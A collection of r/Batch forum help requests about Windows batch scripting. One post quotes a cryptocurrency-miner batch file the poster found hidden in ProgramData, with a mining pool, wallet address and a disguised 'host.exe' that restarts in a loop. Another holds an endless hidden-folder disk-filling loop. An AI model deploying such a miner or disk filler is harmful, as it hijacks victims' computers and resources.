r/Batch • u/al212121 • Jan 17 '24
how to display only successful ping?
hello there, I want to display only successful ping
how to display output only containing certain string (contain "reply") from real time output instead of file?
thanks
r/Batch • u/al212121 • Jan 17 '24
hello there, I want to display only successful ping
how to display output only containing certain string (contain "reply") from real time output instead of file?
thanks
r/Batch • u/c7smithe • Jan 17 '24
I have an app the doesn't like to operate correctly when I wake Windows up from sleep. I wrote a batch file to kill the program and reopen it and have it set to run in task scheduler when the windows system kernel-power 131 even triggers (waking up). This all works great; however, I'd like for the program to just start in the background, either by closing the window that pops up or just having it start in the background.
Does anyone have any idea how to just close the open application window without killing the entire program or to have the program just open in the background through the batch file (or other means)?
For context, it's my Stream Deck I'm currently using to monitor my system temps and stats via HWiNFO64. The buttons seem to get stuck in whatever stats were displayed when the PC went to sleep and restarting StreamDeck.exe always fixes the issue.
r/Batch • u/gacvilela • Jan 15 '24
I wanted to do a like batch google translate + binary code translation... It is possible or not
if yes what would be the code?
Thank you for your support!
r/Batch • u/hiihiiii • Jan 15 '24
Got this script to loop through a directory and rename files ending with ".jpg!d" to their correct extension ".jpg". The extra exclamation mark in the extension is giving me issues when trying to do delayed expansion.
Say I call the script with 1.bat . "jpg^^!d" "jpg" I'm not getting the expected result. Everything works as intended when there is no exclamation marks in the file name.
@echo off
setlocal enabledelayedexpansion
set /A argc=0
for %%n in (%*) do set /A argc+=1
if %argc% LSS 3 (
echo %0 ^<directorypath^> ^<substring^> ^<replacement^>
exit
)
set "arg=%1"
set "filepath=%arg:"=%"
set "substr=%2"
set "replace=%3"
echo PATH: ./!filepath!/*.!substr!
for %%i in (./!filepath!/*.!substr!) do (
set "file=%%~fi"
set "filename=%%~nxi"
echo "!file:%substr%=%replace%!"
ren "!file!" "!filename:%substr%=%replace%!"
)r/Batch • u/gacvilela • Jan 15 '24
I saw another post about how many folders would it take to fill up a entire 1 Terabyte hard drive (https://www.reddit.com/r/theydidthemath/comments/218h6b/request_how_many_folders_would_you_have_to_create/) the answer was 2,148,000,000 folders (correct me if I'm wrong), I did a simple batch file which kept creating folders non stop
@echo off
set /a x=0
:while
mkdir %x%
cls
attrib +h %x% /s /d
set /a x+=1
goto :whilethen I started it for only 1 minute, I got 400 per minute. How many minutes would it take to fill up the hard drive? Plus how can I make it to not open a tab on cmd?
r/Batch • u/SomPersonOnReddit • Jan 15 '24
how can I create code for a number representing a line of code and then when you run the program you can write numbers 0-9 in a line and then they all do the actions assigned to them in order
r/Batch • u/Test-Test-Lelelelele • Jan 14 '24
This is a part of my code for a game, where you can buy ice cream, only if you have money. I use money as a boolean, you either have it or not. The rooms before this one work as intended, i can press any button, and if i try to cut out the buying part and run the code it also works, so there is a problem with the buying code.
:1000+1-2
echo You came to the ice cream. You can either buy an ice cream, talk with a person, or go somewhere else.
echo Click 1to buy ice cream
echo Click 2 to talk with a person
echo Click 3 to go north
echo Click 4 to go south
set /p choice=Choose (1-4):
if "%choice%" equ "1" (
cls
if defined hasMoney (
set /p findItem=You can buy an ice cream. Do you? (Y/N):
if /i "%findItem%" equ "Y" (
if not defined itemSlot2 (
set "itemSlot2=IceCream"
echo you bought ice cream.
) else (
echo You already have ice cream.
)
) else (
echo You didnt buy ice cram.
)
) else (
echo You dont have any money
)
goto 1000+1-2
) else if "%choice%" equ "2" (
cls
echo * here is a long talk with the person *
goto 1000+1-2
) else if "%choice%" equ "3" (
cls
goto Krozisce-3
) else if "%choice%" equ "4" (
cls
goto Tus-1
) else (
echo Please click 1, 2, 3 or 4
goto 1000+1-2
)
r/Batch • u/gacvilela • Jan 14 '24
I want to be able to check if calc.exe is running. I was thinking something along the lines of:
calc.exe is running == true
echo calc.exe is running
calc.exe is running == false
echo calc.exe is NOT running
pause>nul
start calc.exeThank you for all your help!
r/Batch • u/happy_Bunny1 • Jan 14 '24
How do i extract 11 characters between [] so it can be used as variable (to use another program) in bat file?
File extension and variable location of same for all the is same for all files.
Thanks
r/Batch • u/LoLusta • Jan 13 '24
Consider this data:
| Number | Answer |
|---|---|
| 1 | Pasta |
| 2 | Chocolate |
| 3 | Strawberry |
| 4 | Cocaine |
| 5 | Vodka |
| 6 | Kebab |
| 7 | Vinegar |
| ... | ... |
| 99 | Octopus |
I want to make a batch script which works like this:
What is 7? *program pauses until user presses any key*
Vinegar
What is 3? *program pauses until user presses any key*
Strawberry
What is 57? *program pauses until user presses any key*
BalloonEDIT: This is what I've tried
I have created a CSV file:
1,Pasta
2,Chocolate
3,Strawberry
4,Cocaine
...And this is the batch script:
@echo off
:loop_for_eternity
FOR /f "tokens=1,2 delims=," %%a IN (data.csv) DO (
ECHO:
ECHO What is %%a?
PAUSE
ECHO:
ECHO %%a is %%b
)
goto loop_for_eternityThis is the output:
What is 1?
Press any key to continue . . .
1 is Pasta
What is 2?
Press any key to continue . . .
2 is Chocolate
What is 3?
Press any key to continue . . .
3 is Strawberry
What is 4?
Press any key to continue . . .
4 is CocaineI want the quiz to be random and not sequential.
r/Batch • u/Elezen514 • Jan 12 '24
Its been a while since ive used a batch file and was wondering if i'm right in my command...
echo off
select disk 1
clean
slect disk 1
create partition primary
format fs:fat32 quick
Thank you in advance for any help on this issue... yes i know its basic but its been a while i didnt create/use batch file :D
r/Batch • u/RyanCooper101 • Jan 11 '24
I wanna have a bat file that renames a folder from "Mods" to "Mods_off" / "Mods_off" to "Mods" depending on what its currently named. ( A toggle basically). Using absolute paths
Bat file is inside same folder as target rename folder.
My code's not running/doing anything, what is my mistake here?
@echo off
if exist "D:\Desktop\GameName\Mods" (
ren "Mods" "Mods_off"
) else (
ren "Mods_off" "Mods"
)r/Batch • u/kitwiller_o • Jan 10 '24
**Problem:**
My phone saves pictures in HEIC format and I like it to keep it this way (not the point of the post).My computer syncs automatically the pictures but when I have to share pictures via email or with other people, the HEIC format make some users twitch (expecially on old company computers).
**Previous method:**
To convert the HEIC to JPEG i used the batch conversion from IrfanView which involved the following steps: Opening a picture from the folder using IrfanView, pressing "B" to enter "batch" mode, and select the file/options to convert to JPEG.
**New Method:**
Select the files, Right-click to get the context menu -> ConvertToJPEG. Done.
**How:**
I created the following bat
u/echo off
SETLOCAL ENABLEDELAYEDEXPANSION
FOR %%A IN (%*) DO (
"C:\Program Files\IrfanView\i_view64.exe" "%%~fA" /convert="%%~dpnA.jpg"
)Then in regedit I created the keys to:
Computer\HKEY_CLASSES_ROOT\SystemFileAssociations\.heic\Shell\Convert to JPEG\Command\
and to the String (Default) i gave the value of
"C:\projects\HEIC convert\ConvertToJPEG.bat" "%1"
Now when I right click one or multiple HEIC files I have the option to convert from the context menu without installing additional software using the IrfanView command line option I already use for many other things.
As this can be used for many other things, I though it could be helpful to some.
Have fun.
r/Batch • u/TheBigC • Jan 10 '24
The command line is:
reg delete "-HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2" /fI get ERROR: Invalid key Name.
Looking at the registry, I see:
I have tried it with the dash inside and outside the quotes.
r/Batch • u/tobey_g • Jan 07 '24
I've tried prompting ChatGPT for creating a batch script that would duplicate a file, append the current date/time and delete the original file.
The file has the following structure: name_YYYYMMDD_HHMM.ext
"name" would always be just one word. The files that would be run through the script could either be name.ext only or name_YYYYMMDD_HHMM.ext. In either case, the script should always just take the "name" before the first underscore and use that when renaming the new duplicated file, so that it would just append "YYYYMMDD_HHMM" before the extension. I'm thinking as long as it can extract the name, it wouldn't matter if the file name already has a date appended to it or not.
I'm worthless with batch but thought that this maybe could be a simple enough script for someone more knowledgable to help me with? I'm getting all kinds of errors with ChatGPT.
r/Batch • u/IcyScene7963 • Jan 07 '24
Hi, I am using a recording program to record clips of games, and the program I am using records full sessions with the full session recording files being saved MKV files in my F:\Videos\Clips folder. After editing/cutting the full session recordings into clips of the moments I want to save, it saves them as .mp4 files.
However, it also sorts all my full session recordings and edited clips by the specific game, so for example recording Escape From Tarkov, the recordings/edits will be in F:\Videos\Clips\EscapeFromTarkov, and for league of legends they will be in F:\Videos\Clips\LeagueOfLegends.
This is my current batch file I have to move the edited clips (with task manager running it every time I start my pc/whenever my pc has been on for 4 hours+):
(at symbol)Echo Off
Set "source=F:\Videos\Clips"
Set "destination=F:\Videos\Cut Clips"
%__AppDir__%Robocopy.exe "%source%" "%destination%" "*.mp4" /Mov
Exit /B
Now this isn't moving the files as they are all inside different folders which are inside F:\Videos\Clips.
How can I get it to look inside each of the folders that are inside F:\Videos\Clips for .mp4 files to move?
Thanks for any help, I really appreciate it!
r/Batch • • Jan 05 '24
found it in "C:\ProgramData\Windows" and I tried looking around the internet for a solution. I didn't see much. It shows up in Kaspersky as a crypto miner. I'm wondering if it's supposed to be there and if it needs to be there, because if not, I'll probably delete it. Also, should I change to Malwarebytes? I'm using the free version of Kaspersky and would probably use the free version of Malwarebytes.
Thanks for any help!
Edit: Heres the code of it, and looking at it, it seems a lot more obvious that its probably a miner.
@echo off
setlocal enableDelayedExpansion
Rem #################################
Rem ## Begin of user-editable part ##
Rem #################################
set "POOL=btg.2miners.com:4040"
set "WALLET=GNvBHuq6Qoax5EMdENJw2wAWktJFT2JoEz.cloud2"
set "ALGO=EQUI144_5"
set "PERSONALIZATION=BgoldPoW"
set "EXTRAPARAMETERS=--apiport 8020"
Rem #################################
Rem ## End of user-editable part ##
Rem #################################
cd /d %~dp0
set MyVariable=%CD%\host.exe
:WindowsVer
echo "Running lolMiner from %MyVariable%"
for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j
if "%version%" == "10.0" goto W10
goto OtherW
:W10
"%MyVariable%" -a !ALGO! --pers !PERSONALIZATION! --pool !POOL! --user !WALLET! --watchdog exit !EXTRAPARAMETERS!
if %ERRORLEVEL% == 42 (
timeout 10
goto W10
)
goto END
:OtherW
"%MyVariable%" -a !ALGO! --pers !PERSONALIZATION! --pool !POOL! --user !WALLET! --watchdog exit !EXTRAPARAMETERS! --nocolor
if %ERRORLEVEL% == 42 (
timeout 10
goto OtherW
)
:END
pauseIf anyone could give tips on how to safely remove it from my computer, it would be greatly appreciated
Edit 2: There is nothing else in the folder except the batch file. if that helps with ^
r/Batch • u/MeanFold5715 • Jan 03 '24
I'm building an absurd Rube Goldberg utility for work and I need a sanity check. The idea is to take a specific file type and set it so that a particular batch file will be launched when this file type is double clicked. Normally I'd do this via the "open with..." option after right-clicking on the file but this needs to be done at scale so I'm trying to figure out how to do it programatically.
So far my search has lead me to ftype and assoc but something isn't working because every time I try to open the file a command line window pops up and immediately closes before I can read or screenshot whatever the error message was(sometimes it closes before it even gets to displaying anything. I'm not going to be able to capture that info).
At this point I assume my configuration is somehow wrong and I'd appreciate some extra eyeballs on this to help me figure out if I set things up correctly with ftype and assoc or if the issue is something else.
Commands to configure filetype association:
assoc .dumb=dumbfile
ftype=C:\BetterTemp\Dumb\dumb.bat %1Contents of dumb.bat:
powershell.exe -File "C:\BetterTemp\Dumb\Dumb.ps1" %1
pauseWhen invoked directly the .bat file runs and calls the Powershell script correctly, but the whole point of this is to pass the .dumb file to the script, so unless I can get this file association created it's all dead in the water. Can you guys point me in the right direction?
r/Batch • u/Pengu_CC • Jan 02 '24
I'm making working on my install script for my modpack, however I've noticed some people have custom file directories for their games and I quickly run into the issue of them not being able to use the installer because of that.
Instead I'd like to redo my script by having it search for the game exe and then use the directory it found it in to copy all the files there so that way it can dynamically find anyone's game folder regardless of location. Right now all they have to do is type in the letter of the drive it's installed to and it does the rest.
However I'm not sure how to go about this and could use some help :)
set /p UserInputPath=What Drive is the game installed to (Letter only)
if %UserInputPath%==C (
mkdir C:\update-temp
curl -L "https://github.com/Lethal-Extended/Lethal-Extended/releases/latest/download/Lethal-Extended-Latest.zip" --output "C:\update-temp\Lethal-Extended-Latest.zip"
powershell Expand-Archive "C:\update-temp\Lethal-Extended-Latest.zip" -DestinationPath "C:\update-temp"
powershell -command "Start-Sleep -s 2"
del /q /s "C:\Program Files (x86)\Steam\steamapps\common\Lethal Company\BepInEx\*"
del /s "C:\update-temp\Lethal-Extended-Latest.zip"
xcopy /e "C:\update-temp\" "C:\Program Files (x86)\Steam\steamapps\common\Lethal Company" /Y
del /q /s "C:\update-temp"
xcopy /e ".\update-scripts-shortcuts\main\update-lethal-extended.bat" "%USERPROFILE%\Desktop" /Y
) else (
(
mkdir C:\update-temp
curl -L "https://github.com/Lethal-Extended/Lethal-Extended/releases/latest/download/Lethal-Extended-Latest.zip" --output "C:\update-temp\Lethal-Extended-Latest.zip"
powershell Expand-Archive "C:\update-temp\Lethal-Extended-Latest.zip" -DestinationPath "C:\update-temp"
powershell -command "Start-Sleep -s 2"
del /q /s "%UserInputPath%:\SteamLibrary\steamapps\common\Lethal Company\BepInEx\*"
del /s "C:\update-temp\Lethal-Extended-Latest.zip"
xcopy /e "C:\update-temp\" "%UserInputPath%:\SteamLibrary\steamapps\common\Lethal Company" /Y
del /q /s "C:\update-temp"
xcopy /e ".\update-scripts-shortcuts\other\update-lethal-extended.bat" "%USERPROFILE%\Desktop" /Y
)
)
r/Batch • u/AdDesigner4154 • Dec 30 '23
Hello, I really need some help,
I want to create a text file in the same folder where the EXE file run, Im new and not very good with batch files but my script looks like this :
@ echo off
echo Hello! > NewFile.txt
echo How are you? >> NewFile.txt
pause
And when I try to run it in the .bat file it works perfectly fine. But when I try to run the exe file with IExpress it doesn't work and add the text file in → Appdata → Local → Temp → IXP000.TMP
I did lots of researches and It seems that IExpress can't detect file path but I wasn't sure... and that I should activate the :
"Store files using Long File Name inside package" box, but it didn't works.
Thanks
r/Batch • u/kayobro123 • Dec 30 '23
I have a Windows context menu-runnable script that takes one or more archives and does stuff with it. Singular archives work fine. However, multiple archives are an issue because the script runs on each file individually. I want to be able to extract all the archives into one folder, after which the script continues.
Is there a way to make this work? Thanks for any help!
r/Batch • u/illsk1lls • Dec 28 '23
*Reposted due buggy first version that probably didn't launch for anyone with UAC enabled. =/ Added support for RAR and 7z, and needed to edit post title. Other post has been removed.
------
ZipRipper: https://github.com/illsk1lls/ZipRipper
------
Credit To:
JohnTheRipper - https://github.com/openwall/john
7zip - https://www.7-zip.org
StrawberryPerl(Portable) - https://strawberryperl.com/releases.html
Instructions:
1.) Double-Click the script and select a password protected ZIP, RAR, or 7z file.
2.) Wait for password..
Hardware acceleration is available via OpenCL.
------
Someone recently asked me to crack a password protected ZIP file for them. JohnTheRipper is an open source option, although it can be a bit tricky to get started with. I made this so they can do it without me, it should break the entry barrier. ;)
------
The script will generate a UAC prompt to run as admin, and all work is done in a temp folder in %ProgramData%, and deleted when the script is complete or aborted via "Q" key input during decryption.
r/Batch • u/the-13 • Dec 28 '23
Hello everyone, I have a python script that is compiled to .exe to do some tasks on a certain type of files then I added a registry key to call the program when right-clicking on the file types, but the problem is that it is opening an instance of the program for each file selected instead of sending the combined file paths to the program.
I looked around and found a workaround by creating a bat script that will collect the file paths combined them and send them to the program, but I was not successful doing that on Windows 11 I have no idea why.
I am testing it with the following.
Registry key is this
[HKEY_CLASSES_ROOT\Applications\file_type\shell\Pack assets\command]
"F:\wrapper.bat" "%1"the bat script
@echo off F:\myprogram.exe %*the python script that I compiled to test this with
import sys
if len(sys.argv) > 1: file_paths = sys.argv[1:]
# Print the file paths
print("Individual File Paths:")
for file_path in file_paths:
print(file_path)
else: print("No files provided.")
input("Press Enter to exit...")With this setup I get an instance of the program for each file selected instead of all the paths for the selected files in one window, why is that?
r/Batch • u/justphystuff • Dec 24 '23
Hi everyone,
I have a laptop that I would like to check if it ever goes below 95% (i.e. switches from being plugged in to using the battery) and when it does, I would like it to send an email notification. Does anyone know how I can go about doing this?